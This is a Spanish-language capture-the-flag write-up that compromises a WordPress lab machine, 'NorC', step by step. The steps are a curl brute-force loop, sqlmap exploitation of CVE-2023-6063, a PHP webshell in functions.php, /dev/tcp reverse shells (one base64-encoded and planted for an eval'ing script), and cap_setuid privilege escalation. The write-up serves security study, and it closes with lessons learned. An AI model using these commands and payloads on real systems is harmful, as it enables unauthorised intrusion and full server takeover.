NorC
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. NorC es un WordPress con varias capas. Primero, un plugin Password Protected que se salta a fuerza bruta con un script (cassandra). Después, el plugin wp-fastest-cache v1.2.1, vulnerable a una SQLi ciega basada en tiempo (CVE-2023-6063) quesqlmapexplota para volcar la base de datos y revelar un subdominio,oledockers.norc.labs, donde están las credenciales de admin. Con ellas se inyecta una webshell enfunctions.php→www-data.pspydescubre un script del usuariokvzlxque haceevalde un fichero escribible →kvzlx. Y una capabilitycap_setuidsobre unpython3propio cierra la caja como root. Nota: las capturas originales son enlaces externos ya no accesibles; las salidas se describen en texto y los valores que solo vivían en esas imágenes van como marcadores.
Reconocimiento
Escaneo inicial y vhost
El escaneo de puertos deja un servicio web sobre el 80. El sitio referencia el dominio norc.labs, así que se añade al /etc/hosts para resolverlo:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open <ip>PORT STATE SERVICE
80/tcp open httpnmap -p80 -sCV <ip> -oN targeted
echo "<ip> norc.labs" | sudo tee -a /etc/hosts
whatweb http://norc.labswhatweb y Wappalyzer detectan dos CMS mezclados, Drupal y WordPress. Como hay WordPress, se prueba wp-admin, que devuelve un panel de login. Los ataques directos (fuerza bruta, SQLi) chocan con un límite de intentos, señal de que primero conviene enumerar.
Acceso: WordPress protegido con contraseña
Fuerza bruta al Password Protected
dirsearch revela que el sitio usa el plugin Password Protected: pide una contraseña global antes de mostrar nada, sin límite de intentos. Se automatiza el ataque con un pequeño script que envía cada palabra por POST y detecta el fallo por la cadena Incorrect:
while IFS= read -r pass; do
response=$(timeout 1.5 curl -s "http://norc.labs/wp-sitemap.xml?password-protected=login&redirect_to=http%3A%2F%2Fnorc.labs%2Fwp-sitemap.xml" \
--data "password_protected_pwd=$pass&wp-submit=Log+In&password_protected_cookie_test=1&password-protected=login" \
-H "Cookie: wordpress_test_cookie=WP%20Cookie%20check" | grep Incorrect | awk -F '>' '{print $2}' | awk '{print $1}')
if [[ "$response" != "Incorrect" ]]; then
echo "Contraseña $pass correcta"
fi
done < rockyou.txtLa contraseña global es cassandra.
Enumeración de wp-sitemap
Superado el muro, wp-sitemap.xml encadena a otros mapas (wp-sitemap-posts-post-1.xml → /hello-world/ …) que acaban confluyendo en el mismo punto. La única información de valor es una cuenta de yopmail (correo temporal público que se consulta sin contraseña). Se guarda por si sirve más adelante, pero por ahora no lleva a nada, así que se pasa a enumerar plugins.
SQLi en wp-fastest-cache (CVE-2023-6063)
Descubrir el plugin vulnerable
Con un diccionario específico de rutas de WordPress, wfuzz enumera los plugins instalados:
wfuzz -u http://norc.labs/FUZZ -w WPfuzz.txt --hc=404,302,500,403,400Aparece wp-fastest-cache v1.2.1, vulnerable a una SQLi por no sanear la entrada antes de usarla en la consulta (CVE-2023-6063). Es una inyección ciega basada en tiempo.
Volcado con sqlmap
La inyección se dispara con la cookie de sesión de WordPress. Se lanza sqlmap y, en cuanto identifica la base de datos wordpress, se acota el volcado a ella indicando que es basada en tiempo para ir más rápido:
sqlmap -u "http://norc.labs/wp-login.php" --cookie="wordpress_logged_in=*" \
--dbms=mysql --time-sec=5 -D wordpress --dump --batchSe obtiene el hash del usuario admin (formato phpass), que john no logra crackear:
john --format=phpass --wordlist=rockyou.txt adminHash --fork=5Pero el volcado también revela el correo del admin: admin@oledockers.norc.labs. Ese dominio delata un subdominio.
Acceso como admin: el subdominio oledockers
Se añade el subdominio al /etc/hosts y se enumera:
echo "<ip> oledockers.norc.labs" | sudo tee -a /etc/hostsEn oledockers.norc.labs aparecen directamente las credenciales del usuario admin. Se validan en el login de WordPress y funcionan:
admin : <password>Shell como www-data
Con sesión de administrador en WordPress, la vía habitual de RCE es el editor de temas: se inyecta una webshell en el functions.php del tema activo (twentytwentytwo) y se guarda:
<?php system($_GET["cmd"]); ?>/wp-content/themes/<theme_name>/functions.phpMantenemos nc a la escucha en el 4444:
nc -nlvp 4444Desde ahí, el one-liner de Bash (URL-encodeado) devuelve una reverse shell como www-data:
bash -c "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"Shell como kvzlx
En el home hay un script del usuario kvzlx que hace algo peligroso:
#!/bin/bash
ENC_PASS=$(cat /var/www/html/.wp-encrypted.txt)
DECODED_PASS=$(echo $ENC_PASS | base64 -d)
echo $DECODED_PASS > /tmp/decoded.txt
eval "$DECODED_PASS"El script lee /var/www/html/.wp-encrypted.txt, lo decodifica en base64 y hace eval del resultado. El fichero no existe, pero www-data puede crearlo: cualquier cosa que metamos ahí (codificada en base64) se ejecutará con los privilegios de kvzlx cuando el script corra. Primero se confirma con pspy que el script se ejecuta periódicamente (con ps aux no se ve sin privilegios):
wget http://172.17.0.1/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
/tmp/pspy64Confirmada la ejecución, se planta una revshell en el fichero escribible y se espera la conexión en el puerto elegido:
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzEyMzUgMD4mMQ==" > /var/www/html/.wp-encrypted.txt
nc -nlvp 1235Cae la shell como kvzlx.
Escalada de privilegios
kvzlx → root (cap_setuid)
Se buscan capabilities asignadas a binarios:
/usr/sbin/getcap -r / 2>/dev/null/opt/python3 cap_setuid=epUn python3 con cap_setuid puede cambiar su propio UID a 0 sin ser SUID: la capability le concede justo esa facultad. Se abusa con un script que hace os.setuid(0) y lanza una shell:
#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")Ejecutándolo con la ruta completa de ese python3, la shell resultante es de root:
/opt/python3 /tmp/rootPrivesc.py
iduid=0(root) gid=0(root) groups=0(root)Cadena de ataque
HTTP -> vhost norc.labs -> WordPress (Password Protected)
└─> fuerza bruta del muro -> cassandra
└─> wfuzz plugins -> wp-fastest-cache 1.2.1 -> SQLi (CVE-2023-6063) -> sqlmap
└─> dump -> admin@oledockers.norc.labs -> subdominio -> credenciales admin
└─> functions.php webshell -> www-data
└─> .wp-encrypted.txt (eval, escribible) + pspy -> kvzlx
└─> getcap: cap_setuid en /opt/python3 -> os.setuid(0) -> rootLecciones aprendidas
- Un muro de contraseña sin límite de intentos no es un muro. El plugin Password Protected solo añade una clave global; sin rate-limit, un script la revienta como cualquier login.
- Un plugin desactualizado tira toda la instalación. wp-fastest-cache 1.2.1 y su CVE-2023-6063 convierten una cookie en un volcado completo de la base de datos vía SQLi ciega.
- El correo del admin filtra la arquitectura.
admin@oledockers.norc.labsno es un dato menor: revela un subdominio que había que enumerar para encontrar las credenciales reales. evalsobre un fichero escribible es RCE diferido. Un script que decodifica y evalúa un fichero que otro usuario puede escribir regala su cuenta;pspy(repo) confirma la periodicidad sin necesidad de privilegios.cap_setuides root sin SUID ni sudo. Una capability mal puesta sobre un intérprete permitesetuid(0)directo; conviene auditargetcap -r /igual que se auditan los binarios SUID.